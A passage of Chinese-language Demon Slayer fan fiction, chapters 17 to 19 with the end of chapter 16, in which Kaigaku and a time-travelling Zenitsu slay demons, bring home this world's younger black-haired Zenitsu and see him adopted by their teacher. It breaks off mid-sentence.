如今师兄的身板还没练习到上辈子那种呼之欲出的程度,但是……但是……!!
善逸受不了了,闭上眼睛大喊出声:“师兄你把衣服穿好啊!!你这样很容易吸引喜欢小孩的变态的!!师兄!!”
“哈?除了你谁会看我啊!死变态!!”狯岳转过身,用不屑一顾地眼神瞟着善逸的身形:“长得像是豆芽菜似的,还管到我身上了!管好你自己吧废物!!”
“诶师兄怎么这样!!”善逸委屈坏了,不管不顾地直接扑到了师兄身上,拉扯着师兄分得很开的衣襟紧紧合拢,让师兄袒露出去的胸怀严严实实地藏起来:“师兄!!这样才对吧?!!小时候不讲究长大很容易让别人占便宜的!!”
“你个废物!!你是想要勒死我吗?!!”狯岳从自己的废物师弟手中抢过自己的衣襟,将它们调整好,随后一手刀披在了师弟的头上:“变态!!赶紧藏好刀!我们要下山了!!”
“是……是!”
师父交给他们两人的任务是将围绕着桃山一定范围内的七个城镇转一圈,并将其中可能存在的恶鬼给灭杀掉。这以往都是桑岛慈悟郎的任务,加上桃山附近鬼杀队的剑士时常出没,相应的周遭城镇里鬼的数量就不会多到哪里去,就算有也很弱小。所以桑岛慈悟郎交给徒弟的任务,其实就是让徒弟散心用的。
临走之前,桑岛慈悟郎还专门给自己的两个小弟子准备好了钱财,让他们不用着急赶回桃山,可以在城镇中逛一逛,买些自己喜欢的东西、自己想吃的新鲜吃食回来。
两个十二岁的小孩藏起了刀,认真地从城镇中穿过。白天的城镇喧嚣而热闹,根本看不出哪里有鬼的痕迹。然而,凭借善逸的逆天听力,还真让他们找到了两只藏在城镇中的鬼。
一只藏在一栋很有生活气息的房子之中,要不是善逸听到了诡异的咀嚼撕扯生肉的动静,根本不知道这个门上还挂着手工风铃的人家其实已经被恶鬼灭了满门。
善逸带着狯岳老老实实敲门:“你好?有人在吗?我们是来送预定的糕点的——”
门吱呀一声被从里打开,两个小孩被恶鬼拽了进去。
果然,房间内,头生鬼角,面目恶心狰狞的鬼满身血液,另一只手上还举着一只吃到一半的小腿!
“好恶心!!”狯岳差点被冲天的血气熏得呕出来。他忍下胸口的恶心,从身后拔出刀:“雷之呼吸——”
“雷之呼吸 一之型!霹雳一闪!!”善逸抢先自己的师兄一步,将这只还在吃人的恶鬼的头颅斩下。
“师兄,你还是太慢了啊……”善逸将自己日轮刀上沾染的血液顺手甩掉,将日轮刀收归刀鞘,并把日轮刀重新藏好。
“……切!”狯岳不去看快他一步的善逸,将自己的日轮刀归位:“你这个废物也就实力看的过眼!”
狯岳面色难看,他没想到自己和废物师弟的实力差这么多……可恶啊!!
“谢谢师兄对我实力的肯定哦。”善逸拉着师兄离开,还注意着没踩上地板上的血迹,悄悄将门重新合拢。
他盯着这个温馨的小家,对师兄感慨道:“要不是恶鬼,这家人还会幸福地生活下去吧……话说那个恶鬼真是贪婪,为了想多吃两个人直接将我们拽进去了。”
狯岳对这个废物脸上的同情样子嗤之以鼻:“无家可归的你先管好自己吧!还有,如果鬼没把你拉进去你会放过它吗?”
“诶!!我才不是无家可归呢!我现在的家在桃山上!还有师兄你也是我的家人哦~不过鬼的话当然是不会放过啦!”
“哈?谁是你的家人?!”
“你和爷爷啊!我还要叫你大哥呢!大哥!!”
“yue!别恶心我!!”
“大哥好过分!!”
两个小孩吵吵闹闹地离开,留哪一栋已经陷入悲哀中的房子独自停留。悲伤的已经悲伤,幸福的还要幸福下去。
另一只鬼被发现的时候正藏在酒家摆放在外的酒桶里。这只鬼平时苟得很,就连夜晚降临了也只是偷摸拽几个醉汉吃掉,根本不在外露面,所以一直没有被鬼杀队队员发现踪迹。
它被善逸发现后,狯岳与善逸两个人你肘我我拐你,都争着想要杀掉这个鬼,结果没想到在争抢间,两个人的刀锋无意间将木桶给砍破了,阳光直接照在了木桶里藏着的恶鬼身上,恶鬼尖叫着被烧成了灰。
善逸与狯岳沉默地看着那成灰的恶鬼,默默约定好,之后遇见的恶鬼轮流斩杀。
他们的速度很快,从镇与镇之间穿行的速度也非往日可比。当初的狯岳跑到腿抽筋也穿不过的山林,现在的狯岳两个小时就跨过了,还被师弟嘲笑总是踩到坑,差点把自己摔下去。
当然,当初那个在狯岳看来无法抵抗的强大的善逸,现在被狯岳在头上一手刀连续敲了三个包。
他们一天就能转完两个城镇,晚上找个地方休息一会儿然后继续探查恶鬼的踪迹。然而不知道狯岳运
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气是好是坏,除了第一个城镇,之后连续三个城镇都没遇到恶鬼。
善逸安慰自己气呼呼的师兄:“嘛。没有鬼是好事啊,师兄。”
然后被师兄凶凶地瞪了一眼。
狯岳杀掉的第一只鬼并不是在城镇中,而是在山林中找到的。那只恶鬼在山洞中躲太阳,准备到夜晚再去出门吃人。然而就这样被路过的善逸与狯岳端了老巢。
狯岳感受着刀砍掉恶鬼脑袋的手感。这只山林中的鬼让他想起了他第一次见到善逸那天,被善逸斩杀的那只恶鬼。那时的他在恶鬼靠近时完全没法动弹,没有反抗的余地;而现在,他能够轻松地杀掉它了。
狯岳紧紧地握住手中的日轮刀,内心中对于力量的向往从来没有这样浓烈过。他突然叫住身后还在等他的人:“喂,废物。”
善逸从百无聊赖的发呆中抬起头:“怎么了,师兄?”
“我们,是要成为柱的,是吧?”
“当然了!我们要一起成为鸣柱!”善逸兴奋地举起自己的手,然后转头望着自己拿着还在滴血的日轮刀的师兄:“师兄你提这个干嘛?”
“没什么,”狯岳轻笑了一声:“可别忘了,废物师弟。”
“我才不会忘的啦……师兄我有点饿了!”
“……不是刚吃完饭?你是猪吗?”
“中午就吃了两个饭团啦……师兄,我想吃你烤的鱼!”
“哈!想得还怪美!”
“师兄!!”
十分钟后,善逸从自家师兄手中接过烤得香甜美味的小鱼:“我开动啦~啊呜……”然后头上冒起了小花花。
“四星……这个……尊好次!!”
(师兄这个真好吃!!)
“把饭咽下去再说话!!你个废物!!”
随后的两天中,他们将剩下的城镇都转了个遍,没有再见到新的恶鬼。最后一天,善逸吵闹着要去镇子上的那家卖饰品的铺子,还神神秘秘的,不许自家师兄跟着。
善逸将师兄安排在了一处靠近铺子的凉亭下,还给师兄在旁边的店家哪里点了杯茶,叮嘱自家师兄好好在这里待着哦~然后欢天喜地地跑向了卖饰品的商铺之中。
“切!”狯岳也并不疑惑自己的师弟是去干什么去了。无非就是为了讨好那些大街上的女人而购买的小礼物。当善逸第一次拉着他去向路过的女人提出结婚请求的时候,当时的狯岳已经想好将师弟打死后埋在哪里,同时怎么跟老师解释善逸无故失踪的事了。
然后被拒绝的善逸回来听到师兄的心声后,还哭哭啼啼地去找爷爷告状!
当然,最后的结果是善逸被自己暴怒之下的师兄狠狠制裁了一顿。
狯岳咬牙切齿地回想着自己丢人现眼的废物师弟干出来的废物事情,一转眼,被街上的骚动吸引了视线。
那是一个路过的女人,被一个黑色拖把头的小鬼抱住了腿。
那个小鬼一边哭还一边大喊着:“我超级喜欢你的!!求你和我在一起吧!!我什么都会做的!!”
等等,这个声音怎么这么耳熟?
狯岳以为自己幻听了,他扭过头,仔细地盯着这让他颇有既视感的一幕,看着那个光是背影都让他头疼的小孩。
狯岳转换着视角,终于看到了这个在大街上丢人现眼的人的脸。
那一瞬间,他暴怒了。
“我妻善逸!!!”
17. 第 17 章
“伊!!!”小善逸正在像自己心爱的女人告白,突然听到了一声有如恶鬼的声音从身后响来,将他吓得汗毛倒竖,就连头发都炸了起来!
还没等他鼓起勇气回头去看,“duang”一下,巨大的疼痛从头顶袭来,将他砸得头晕眼花,脑袋里瞬间冒出了一大堆小星星。
他就这样被陌生人拽走,根本不知道发生了什么。
此时,拽住他的恶鬼,也就是稻玉狯岳,简直要气疯了!
他不顾周围人的指指点点,三两步冲上去,一拳头就将这个不知道去哪里染黑了头发的废物师弟砸了个大包,然后将这个死皮赖脸抱在别人腿上的废物扯了下来抓在手中,铁青着脸对被骚扰的无辜路人道歉,然后在众目睽睽下骂骂咧咧地将师弟扯回他原来坐着的凉亭之下。
他揪着师弟不知道为什么一会儿没见就完全变黑的头发,以及换了的衣服大吼:“你很闲吗??短短一会儿就穿成这样去丢人现眼?!!还有,你这头发是怎么回事!!丑死了!!变回去!!”
小善逸被揪着头发,头皮一阵刺痛,他尖叫起来:“啊啊啊好痛!!你是谁啊为什么揪我的头发!!”
“哈?被发现就假装不认识我??我妻善逸!!你真是出息!!”狯岳狰狞地将手中的小善逸的脸举起来对着自己:“好好看看我是谁?”
“咿呀!!鬼啊!!”叫完,狯岳手中的善逸就瘫软成了一摊。被狯岳凶狠的表情给吓晕过去了。
“还装晕!!好啊,我这就把你带回桃山上,看在爷爷面前你还晕不晕……”善逸拽着手中的小善逸转头,正对上从饰品店里出来的我妻善逸的脸。
“咦?”
狯岳怀疑自己眼花了,他看看眼前的黄蓝头发黄羽织经典装扮的我妻善逸,再看看手中这个黑头发的我妻善逸,一瞬间,对世界的真实性产生了怀疑。
“二重身……吗。”狯岳喃喃自语,将手中的奇怪装束的小善逸举到了正在往这边赶来的我妻善逸眼前。
“师兄你叫我什么事……咿呀!!二重身!!”
善逸欢欢喜喜地从饰品店出来,藏好自己买的小东西,高高兴兴地打算和师兄一起回到桃山,正向师兄走去,下一秒,对上了和自己一模一样的脸。
他连忙捂住双眼,对师兄生气地大叫:“师兄那可是二重身啊!!万一我看到之后死掉怎么办!!”
“死掉刚好。再说你现在不是没事吗。”
“万一死掉了呢!!师兄你好残忍!!还有,师兄你手里的那个东西是什么啊?!!”
“不是说了,你的二重身。”
“师兄!!!”
“不管怎么说,还是先带回去给爷爷看看吧。”狯岳一只手将小善逸托起,向我妻善逸示意:“你,背过来!背着他!”
“师兄真是的……”善逸老老实实转过身去,蹲在了地上,然后双手向后扶稳自己背上的黑发小善逸,站起身,将背上的人向上托了一下:“走吧师兄,回桃山。”
“走了。”
他们两个人现在所在的地方并不是桃山脚下的城镇,所以要 回到桃山还颇绕了一番路。中途,被背在背上的小善逸被颠簸的动静颠醒,慢慢睁开了眼:“我这是在哪里啊……”
视线中是飞速后退的树木,手下是温热的皮肤触感。
我妻善逸第一时间发现了身后背着的人的动静,他叫住身前的师兄:“人醒了!师兄!”
狯岳停下来,转身去看那个晕倒了的黑头发善逸:“醒了?有什么别的动静吗?比如说想咬你之类的。”上回他的废物师弟还在嚷嚷着自己变成了鬼。说不定这就是变成鬼后师弟分裂出来的人格……之类的。狯岳打量着那个黑毛善逸。嗯,简直和自己的师弟一模一样。
小善逸一转头就看到了恶鬼的脸,然后被恶鬼墨绿色的眼珠打量着,浑身僵硬的小善逸根本不敢动弹,像是被捕猎者盯上的猎物。
没事的,善逸,没事的。小善逸悄悄地安慰自己。不就是被恶鬼打包回去当储备粮了吗。
不行啊!!还是好可怕!!
小善逸牙关紧咬,害怕让他不住颤抖着,牙齿发出磕磕哒哒的碰撞声响。
狯岳看到这个黑发的小善逸被他盯过后一副要哭不哭的样子,嗤笑一声:“喂,善逸,你背上的这个看上去跟你一样废物啊。”
善……逸?小善逸还没反应过来面前的恶鬼为什么喊自己的名字,背着自己的人就转过了头。
小善逸这时才悚然发现,这个一直背着自己的人,有一张和自己一样的脸!!
“咿呀!!!!!”小善逸尖叫完,两眼一翻,再次晕倒了。
“看吧,我说他和你一样废物。”狯岳在旁边嘲笑。
“但是师兄!二重身真得很恐怖……还有!别再笑了!!师兄!!”我妻善逸被师兄的嘲笑声气得腮帮子鼓鼓。
“你管我。”
“师兄!!”
今天出门散心的弟子们就要回来了!!桑岛慈悟郎早早地等在了门前。这回师兄弟二人一共在外面待了四天。不知道心情是否有舒缓一些呢……
啪嗒。大门被推开。桑岛慈悟郎高兴地迎接:“欢迎回来!狯岳!善逸!还有善……逸?”
小老头揉揉眼睛,再数了数:一个徒弟、两个徒弟、三个……!!
怎么多出来了一个徒弟!!!
五分钟后,三个人凑成一圈,围绕着中间的那个黑发的小善逸,面面相觑。
“所以,这究竟是怎么回事?”桑岛老爷子率先开口询问。他总感觉他们这种会审的氛围好像出现过,他说的这句话也很熟悉。
我妻善逸眼睛瞟向了自己的师兄。毕竟,师兄才是这件事情的第一发现人,也是捡到小善逸的人。
狯岳清清嗓子,这般那般将自己遇见小善逸的经过给说了出来。当说到小善逸大街上和陌生女性告白时,狯岳还狠狠地瞪了一下旁边听故事的我妻善逸。在讲完经过之后,狯岳也凝重地将自己关于小善逸是善逸用能力分裂出来的之类的猜测也说了出来。
旁边的我妻善逸本来被师兄迁怒了很无辜,然而听到师兄的猜测后,已经抖成了筛糠。
桑岛慈悟郎听完大徒弟的话后,低头沉思了一下,转而想问问小徒弟的看法,一抬眼就看到抖抖抖的小徒弟。
善逸欲哭无泪地转头,望向自己的爷爷,手抖了半天,终于用食指指向了自己:“呐……爷爷,我不会真得在睡着的时候分裂出来了另一个我吧……”
小徒弟的眼泪呼之欲出,如果这时候自己再点头的话,泪水会炸出来吧。桑岛慈悟郎轻咳了一声,暂且安慰自己的弟子:“现在还没有定数,等他醒了再问问。说不定他是你的亲弟弟呢?”
终于,在爷爷的安慰之
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下,善逸将自己的眼泪收了回去,没当场淹了这小小的茶室。
正在狯岳等得不耐烦,想要接一盆凉水给小善逸一个物理清醒法时,小善逸终于睁开了眼。
睁开眼的小善逸就对上了桑岛慈悟郎探究的眼神。
“伊!!!”小善逸一个后蹿,拉开了自己和桑岛慈悟郎的距离,抱住小小的自己:“你是谁啊!!我已经被带到了妖精的老巢之中了吗!!”
桑岛慈悟郎沉默了一会儿。“真像啊……”尤其是这个声音,这个语气,这个神态,简直和自己的小徒弟一模一样。
“是吧。”狯岳在旁边接上了老师的话:“所以我当时第一反应就是善逸在搞鬼。”
“还有你!!恶鬼!!呜哇你们是打算现在煮了我吗?!!我还没得到喜欢女孩的回应啊我不想死呜呜呜呜呜!!”
狯岳狠狠地瞪了小善逸一眼,瞟了眼身旁的师父,咽下了喉咙口的恶语,默默攥紧了拳头。
旁边的我妻善逸见到这个和自己长得一样的小子连声音都和自己一样,刚刚忍耐回去的眼泪直接泄洪:“呜哇爷爷!!师兄!!我好像真得分裂了哇哇哇哇!!我会不会因为这个死掉啊!!我还不想死呜呜呜!我还要和师兄一起成为柱呢呜哇哇哇哇……”
双重的我妻善逸,双重的魔音贯耳。站在两个超高分贝的大喇叭中间的桑岛慈悟郎与稻玉狯岳感觉那一瞬间自己的耳膜已经炸裂了开来,在这二重奏中甚至听到了耳鸣声。
“闭嘴!!废物!!”狯岳都忘记了在爷爷面前不能叫善逸废物这件事,duang一声,大拳头落在了善逸的脑袋上。
正在张嘴大声嚎哭的我妻善逸差点咬到舌头,默默抱头蹲了下去,而被善逸的遭遇威慑到的小善逸也想起了自己在大街上挨的那一拳,双手拼命地捂住自己的嘴巴,不让自己的哭声提醒恶鬼,让恶鬼往自己头上也来一记【善逸制裁拳】。
耳朵清静了。虽然对不起被师兄殴打的小徒弟但是……桑岛慈悟郎也松了一口气。
自己的小徒弟哪儿都好,就是嗓门大了点。对一个老头来说,两个小徒弟的威力真是让他吃不消啊。
幸好有大徒弟能管住那两个大喇叭。
桑岛慈悟郎假装没看见小徒弟头顶的包,转头问自己面前的小徒弟二号:“放心,我们不是吃人的妖怪哦。不用害怕。你叫什么名字?”
小善逸恐惧地捂住自己的嘴,生怕尖叫从手指的空隙中漏出来。上来就问名字!还说自己不是妖怪!!难不成……是那种只有自己报上了真名才能吃掉自己的妖怪吗?!!
小善逸在市井间流浪时,也听过不少因为被骗出妖怪名字所以一命呜呼了的可怜人故事。所以,这个时候!千万不能说出自己的名字!!
小善逸紧张地支支吾吾,想要顾左右而言他,忽然,对上了旁边狯岳的视线!
!!咿呀!!
狯岳正盯着这个一直不说话的小子,忽然对上视线,他下意识皱眉:这小子想干嘛?
被狯岳无意识恐吓的小善逸颤抖地说出了自己的名字:“我……我妻善逸……”呜哇完蛋了要死了呜呜小菜菜子我得不到你的答复了请忘记我吧今天我就要死在这里了呜呜呜!!
听到的三个人同时严肃了表情,旁边蹲着的大的那只我妻善逸更是一屁股坐在了地上,泪水无声地流淌,整个人都变成了黑白色。
18. 第 18 章
桑岛慈悟郎无言思考了十几秒,继续开口:“你今年多大?”
怎么吃我还要问年龄?难不成只吃小的?等待死亡的小善逸继续颤抖着报出自己的年龄:“十……十岁。”
师父继续沉思,黑白色的大善逸听到话后希冀地望向自己的师兄:“不一样!”
然后被师兄再次给了一击:“很合理,你分裂出的自己总不能比你大。”
啪嗒。善逸再次爬到了地上。
“你可有父母?”桑岛慈悟郎还要确认。
“没有。”呜呜呜我就是那种就算被吃了也每人来找的小孩你们满意了吧!呜呜呜!
好家伙。桑岛慈悟郎怜悯地转头看向了自己已经在地上化作一摊的小徒弟。
“咳咳!总之,你先在我们这里暂住一阵吧。”桑岛老爷子拍板,这个不知道从哪里来(极有可能是自己小徒弟分裂)的小小徒弟就被留在了雷呼一家中。
桑岛慈悟郎注意到了这个小小徒弟身上的灰尘,让自己的大徒弟带着师弟们先去洗澡,然后一起吃饭。
狯岳向爷爷告退后,拽着化成一摊的废物师弟一号和还在默默流泪的废物师弟二号前往了澡堂中。
先不说以为自己要被洗洗下锅煮了的小善逸在澡堂里的鸡飞狗跳,总之,在师兄的努力(拳头)下,三个人,包括新繁殖出来的小小徒弟一起,干干净净,整整齐齐地坐在了桑岛慈悟郎面前。
小善逸洗干净后,被狯岳换上一身两年前善逸的衣服,晕晕乎乎地坐在了饭桌前。
狯岳好心一回,接过现在还在神思恍惚的废物师弟的工作,将饭盛好,一份份递到自己的师父和师弟们手中。
在手中被塞了一碗米饭时,小善逸还下意识地说了句谢谢,随后感动地用筷子往口中扒饭,泪汪汪地想这些怪物还怪好哩,还给人吃断头饭。
呜呜呜断头饭真好吃……
桑岛慈悟郎看着新捡回来的小小徒弟像饿死鬼投胎一样往嘴里拼命扒饭,下意识开口:“善逸你不用吃这么快……”
?
桑岛慈悟郎和抬起的两张脸对上了视线。
啊。他连忙解释:“小善逸,小善逸。”
哦。两张脸同时落了下去。
桑岛慈悟郎尴尬地假装喝水,然后又瞧到了自己的小徒弟神思不属地一点点吃饭,吃了半天只扒拉了两粒米,他又再次开口:“善逸你吃饭时不要想事情,快点吃……”
再次对上两张脸。
“这次说的是大的那个。”
哦。两个人再次同步低头。
唉。桑岛慈悟郎在心中默默擦汗。这都是什么事啊。
一顿饭三个人都吃得糟心,只有小善逸将肚子填得滚圆。小善逸一抬眼,发现处他外每个人碗中都剩了一大截,还时不时瞟向他,顿时再次颤抖了起来。
吃得太饱,加上情绪的剧烈起伏,导致小善逸突然感觉肚子一阵紧张,然后……“隔!”
三个人顿时看向他。
小善逸拼命捂嘴,然而并没有用:“对不……隔!起,我不是……隔!故意的……”
看到小善逸一脸窘迫还害怕到发抖的样子,三个人的心情都好了许多。
不管怎么说,这个小子看上去是没胆子惹事的样子。那就顺其自然吧。
桑岛慈悟郎想,就当自己又收了个徒弟。
“好了好了,专心吃饭!”桑岛慈悟郎再次拿起自己的筷子:“狯岳!善逸!不许浪费!”
“我这回喊的是大善逸。”
称呼这事还得解决啊。唉。
吃晚饭,狯岳在师父的叮嘱下将将小善逸找了间屋子安置好,又从训练的剑士那边借来了一套被子,带小善逸洗漱睡下,最后回到了自己的房间中。
在心中把自己宽慰好了的我妻善逸跟在自己师兄的身后。没关系,反正总没有师兄变鬼,师父切腹严重。能过一天是一天。
而在随时被抓走吃掉的忐忑中,小善逸睡着了。大善逸也观察着背对着自己睡觉的师兄,准备脱衣服就寝。
咦?善逸从自己的怀中掏出了两个红色蝴蝶结发卡。这是他遇到小善逸前到饰品店购买的东西。
见到它们的时候,他就想起了上辈子被音柱抓到花街买掉时的滑稽造型。然后他恶从心头起,想要买回去偷偷在半夜按到自己的师兄头上。
善逸拿着两个红色蝴蝶结对着师兄背对着自己的后脑勺比划。嗯,大红色,会不会在师兄头上不好看呢?
毕竟师兄可是黑发啊。自己当时虽然装扮丑得一言难尽,这两个蝴蝶结在头上还是怪好看的。
因为自己的头发是黄色的吧。自己的头发,可是被雷劈过的时髦造型啊!要不是那道披在自己头上的雷,自己的发色估计和师兄一样都是黑色吧。
等等,黑发的自己?怎么感觉最近见过?
在哪里呢……我妻善逸仔细思考。我妻善逸恍然大悟:对!那个分裂出来的另一个我!!
等等!好像有什么不对!
善逸默默抱住了头。
自己是从无限城中穿越过来的,所以自己是被雷劈过的黄发。而正常情况下,自己要到来到桃山后才被雷劈,所以十岁的自己应该是黑发才对……而且,上辈子,自己好像和师兄差了两岁来着……
善逸越算越沉默,逐渐开始发抖起来。
好消息。小善逸并不是自己分裂出去的。
坏消息。他和师兄好像提前将这个世界的自己拐上桃山了!!
啊啊啊啊啊!!!
善逸嗖地一下夺门而出,啪地一声推开自家师父的们!
桑岛慈悟郎正在斟酌如何向产屋敷耀哉汇报这件事,猛然听到动静,手一抖,一长道墨痕出现在了信纸之上。
桑岛慈悟郎左手捂住自己的脸,默默缓和了下情绪,将自己手下的废纸团起来丢掉,随后才看向这时候理应已经和师兄一起睡觉了的小徒弟:“……这么晚来找我,有什么事,善逸?”
一时冲动来到爷爷的房间之后,善逸才开始支支吾吾起来。这件事该怎么跟爷爷讲啊……
桑岛慈悟郎耐心地看着自己在房间门口扭来扭去的小徒弟,直到我妻善逸终于发出了声:“那个,爷爷,我突然发现,另一个我,可能不是我分裂出来的……”
“可能?”
“是肯定!肯定不是我分裂出来的!”善逸捂住脸,逐渐蹲下:“我和师兄,好像莫名奇妙把别人拐上了桃山……”
桑岛慈悟郎松口气:“没关系,善逸。刚好小善逸也在流浪,我也有收养他为徒弟的主意。等明天他醒来,我们再一起和他商量吧。”
善逸闻言,感动地扑了上来:“你真好!爷爷!!”
“好了,回去和师兄一起睡觉吧。”
“好!!”
自己的小徒弟睡觉去了,走时
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还将他推开的房门重新关好。坐在书桌前的桑岛慈悟郎再次叹气,用毛笔沾上墨水,重新开始写给主公的信。
总感觉,这样的信,以后还要写很多封啊……
唉。
解决完心事的我妻善逸回去贴着师兄呼呼大睡,第二天一大早就拽着师兄来到了小善逸的房间。
今早醒来的小善逸本还在疑惑自己怎么还没到妖怪肚子里去,一抬头,就对上了四只眼睛。
“伊!!一大早就要来吃我吗!!”
砰地一下,从床铺中坐起来的小善逸撞到了靠近观察他的我妻善逸的头。
“呜啊!!”
两张一模一样的脸上露出一模一样的愚蠢神情。狯岳嫌弃地翻了个白眼。
“喂,蠢货,快说要干什么事!”一大早就被自己愚蠢的师弟抓到小号师弟旁边,让本打算去练剑的狯岳十分不爽。这时又看到善逸犯蠢,甚至是犯双倍的蠢,狯岳心中的嫌弃快要飞出了天际。
“师兄不要着急嘛……”善逸揉揉自己的头,将还在被窝里痛呼的小善逸抓住肩膀提溜了出来:“呐,小家伙,我们有事要找你。”
于是,正在看剑士们训练的桑岛慈悟郎,就看到了自己的大徒弟小徒弟并肩走来,小徒弟手中还提着个小小徒弟。
桑岛慈悟郎再看看刚升起的太阳,喃喃道:“这么早吗?罢了,也好。”他接过自家小徒弟手中的人,带着他们三个来到廊檐下坐好,对着还懵懵的小善逸说到:“对不起啊,小善逸,昨天他们两个把你给认错了,将你强硬地带上了山。”
桑岛慈悟郎一手摸上小善逸的黑发。果然,像是自己小徒弟一样,头发软软的像是拖把毛。
“被人强硬地带到陌生的地方,很害怕吧?”
在桑岛慈悟郎的手掌下,小善逸楞楞的,不知道为什么昨天还要吃他的妖怪今天突然变得和善起来了。不过……
他在这个老爷爷手心中用力蹭蹭自己的头,忍住了眼角的泪水。
很久没感受过这样温柔的抚摸了……
小善逸很喜欢女孩子,就是因为他们不会像那些粗暴的男生一样殴打他。大多数的女孩子的心音都是温柔的,让人听了就觉得温暖,给人家的感觉。
小善逸很想要一个家。
小善逸感受着老爷爷的触摸,心想,就算下一秒要被吃掉,他也不会挣扎的。
就是,吃掉他的时候请轻一点。他有点怕疼。
他努力忍着自己的眼泪,认真地继续听这个老爷爷的话:“我知道善逸是好孩子,所以我想把小善逸收作徒弟。小善逸愿意吗?”
听到这样的话,小善逸震惊地抬起头,水润的大眼睛望着这个摸着他头发的爷爷:“爷爷要收我作徒弟?!!”
“是的。到时候你需要住在桃山,每天跟我练剑,学习呼吸法。”桑岛慈悟郎装作严肃地板起脸:“我妻善逸,你可愿意?”
小善逸眼角的泪水还没擦干,嘴边的笑容就已经展露开来:“爷爷!!我愿意!!”
小善逸扑到了桑岛慈悟郎的怀中,嗷嗷大哭起来。
被这样的气氛所感染,我妻善逸在旁边也抹着眼泪:“呜呜呜我好感动!!”然后拽着他师兄的手腕,一起抱了上去。
“喂!!别扯上我啊!!”
“师兄说什么废话!!不带师兄的话师兄才会偷偷哭鼻子吧!!”
“我妻善逸!!”
19.第 19 章
“所以说,我们两个之间的名字问题怎么办?”善逸望着正在廊下幸福地吃金平糖的小善逸说。
他们今天下午带着小善逸来到山下医院做检查,然后提着一大包药去给小善逸买完了日用品回家。
期间多次出现了桑岛老爷子喊善逸两个人应声的问题。
善逸托腮思考:“要不然还是喊我‘善逸’,喊这个小孩‘我妻’?”
“不要!!”小善逸顶着脸上的糖渣:“我也是善逸啊!为什么不是叫你‘我妻’?”
“先来后到懂不懂!”善逸用手掌顶住小善逸的脑袋,另一只手还从小善逸手中拿了快小金平糖塞到了嘴里,含糊地说:“懂不懂啊,我妻小朋友!”
“啊啊啊爷爷也给你买了糖的!!为什么还抢我的!!”小善逸悲愤地捂住了自己的糖块,将自己向着另一边挪远了点。
“不想叫我妻的话……”善逸托着下巴思考……忽然,他头顶冒出了个金色感叹号:“有了!!”
他拍拍手站起来,双手叉腰,超级自豪地说出了自己的惊天好主意:“让他改名怎么样!!改成比如‘纹逸’或者‘鱼糕权八逸’之类的!”
“不要!!”小善逸恼火了,上去就要踩大善逸的鞋子:“你为什么不改名!!还有!!纹逸就算了,鱼糕权八逸又是什么鬼啊!!”
“嘿嘿,踩不到我啦,小不点。”
两个人就这样绕着柱子转圈。
被他们绕着的柱子——稻玉狯岳头顶青筋直冒,他“duang”地一下把住两个人的头,终于结束了他们两个人毫无意义地转圈圈,认真思考了一下自己为什么会在这里听他们两个瞎胡扯。
哦,原来是自己的愚蠢师弟不去训练也就罢了,还扯着他不让去训练!
将两个跳跳糖暴力镇压后,狯岳的眼前终于清静了。他一锤子将这件关于名字的事情定下:“大的叫‘善逸’,小的叫‘我妻’,就这样定了!”
“诶!我不要!”
“闭嘴!!”将反抗势力压下,狯岳继续说:“有疑惑就互相打一架,赢的人挑名字。还有,你们互相叫什么没人管!”他不屑轻哼:“反正在我这里都是废物,大废物和小废物的区别。就这样,我练剑去了!”
说完,狯岳头也不回地直奔训练场。善逸着急忙慌地跟了上去,还不忘回头给我妻小朋友挥挥手。
小善逸感受着口中残留的金平糖的甜味,羡慕地看着自己的两个师兄一起跑开。追上自己师兄的大善逸一下子扑到了狯岳身上,被狯岳甩下来也不恼,嘻嘻哈哈地听师兄骂自己,然后两个人接连走出廊道,消失在我妻的视线之中。
我妻对于两位师兄的感觉是不同的。
他拥有一样敏锐的耳朵,能听到两个师兄的心音。
大师兄狯岳对他的感觉是带着点熟稔的陌生,对于这个新来的小师弟,大概是基于移情的在意,加上一点点嫌弃?
而另一位和他长得一模一样的师兄的心音就更为复杂:奇怪的怀念、紧张,一点点的内疚,还有很多的欣喜。
这几天的事情就像是梦一样,莫名其妙的,他从一个到处流浪的小孩变成了有师父、有师兄的小孩。简直是他做梦都不敢想象的情节。在这个地方的一切对他来说都是陌生而让人憧憬的,慈祥而又会严厉的爷爷,总是皱着眉但也会为他的事考虑的大师兄,以及,最奇怪的,和他拥有一样的长相、一样的名字的二师兄。
与自己这样相似的人,让小我妻善逸感到如家人般亲近的同时,也让小善逸憧憬。他摸摸观察着这个人,看他开心地在爷爷面前搞怪,看他和自己以为超级恐怖的大师兄打闹,然后关系很好地整天贴在一起,一起出门,一起吃饭,一起睡觉,那种亲密关系,让小善逸也在想象:自己会不会也能有像他一样的未来呢?
有可以撒娇的爷爷,有关系好到整日都贴在一起的师兄,这样亲密的关系,简直像是家人一样。
可以的吧?毕竟,他和自己的二师兄可是一样的啊?
不管怎么说,要先行动起来吧?
于是,夜晚之前,爷爷就看到了扭扭捏捏来到自己身前的新弟子,自己的小小徒弟。
“怎么了?”桑岛慈悟郎微微俯下身子,去倾听小善逸的话。
小善逸紧张地双手绞紧自己的衣角,最终还是鼓起勇气说了出来:“爷爷不用给我搞特殊我可以和师兄们一起住同一个房间的可以吗……”
“啊?”桑岛慈悟郎被小善逸的一长串话攻击,下意识回问了一句,结果他面前的小善逸已经僵掉了,口中还继续喃喃着“如果不行也可以的我自己一个房间也没问题我只是想问一下爷爷你的徒弟们住一个房间的事我也没有感觉被排挤没有想和师兄们打好关系的意思这么说也不对我只是有点想和师兄们住在一个房间当然不住也行……”
“停!”桑岛慈悟郎赶紧打断了小小徒弟的话,小善逸猛猛吸了口气,终于没被自己给憋死。
桑岛慈悟郎递给了小善逸一杯水,让他喝两口冷静一下,但观察到自己的徒弟手抖得像得了帕金森,也没继续为难他,将善逸手中快撒出来的水杯接了回去。
他大概理解了自己徒弟的意思,思考了一下:“这件事情,你需要去问你两个师兄啊。”桑岛慈悟郎揉揉小孩的头,“如果两个师兄同意的话就没问题的。”
结果,他手底下的小孩听到自己还要再来一遍这样的流程,咔吧一下石化了。
“诶诶诶!”桑岛慈悟郎忙捞过自己想要往地上倒的徒弟,将他扶好:“不是想和师兄们搞好关系吗?交流可是搞好关系的必要步骤啊!善逸!不要逃避!”
于是,当天晚上,被新来的小师弟堵门的两位就被问及了这个问题。
“哈?你是三岁小孩吗?晚上自己睡觉会睡不着吗?”狯岳眉毛皱的死紧。他搞不懂为什么大的小的都往他身边凑。总不能是他上辈子杀了我妻善逸全家吧?
“你也想和师兄
